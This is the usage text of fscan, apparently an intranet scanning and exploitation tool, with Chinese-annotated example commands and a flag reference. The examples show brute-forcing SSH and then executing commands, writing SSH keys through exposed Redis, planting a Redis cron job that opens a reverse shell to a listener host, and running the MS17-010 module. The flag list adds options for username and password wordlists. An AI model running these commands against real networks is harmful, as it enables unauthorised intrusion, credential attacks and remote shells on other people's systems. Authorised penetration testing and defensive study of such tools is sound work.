go run main.go -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后，命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)

-h 192.168.1.1/24 (C段)  
-h 192.168.1.1/16 (B段)
-h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
-hf ip.txt  (以文件导入)

  -c string
        exec command (ssh)
  -h string
        IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
  -hf string
        host file, -hs ip.txt
  -it int
        Icmp Threads nums (default 11000)
  -m string
        Select scan type ,as: -m ssh (default "all")
  -no
        not to save output log
  -np
        not to ping
  -o string
        Outputfile (default "result.txt")
  -p string
        Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
  -ping
        using ping replace icmp
  -pwd string
        password
  -pwdf string
        password file
  -rf string
        redis file to write sshkey file (as: -rf id_rsa.pub)
  -rs string
        redis shell to write cron file (as: -rs 192.168.1.1:6666)
  -t int
        Thread nums (default 200)
  -time int
        Set timeout (default 3)
  -user string
        username
  -userf string
        username file
  -wt int
        Set web timeout (default 3)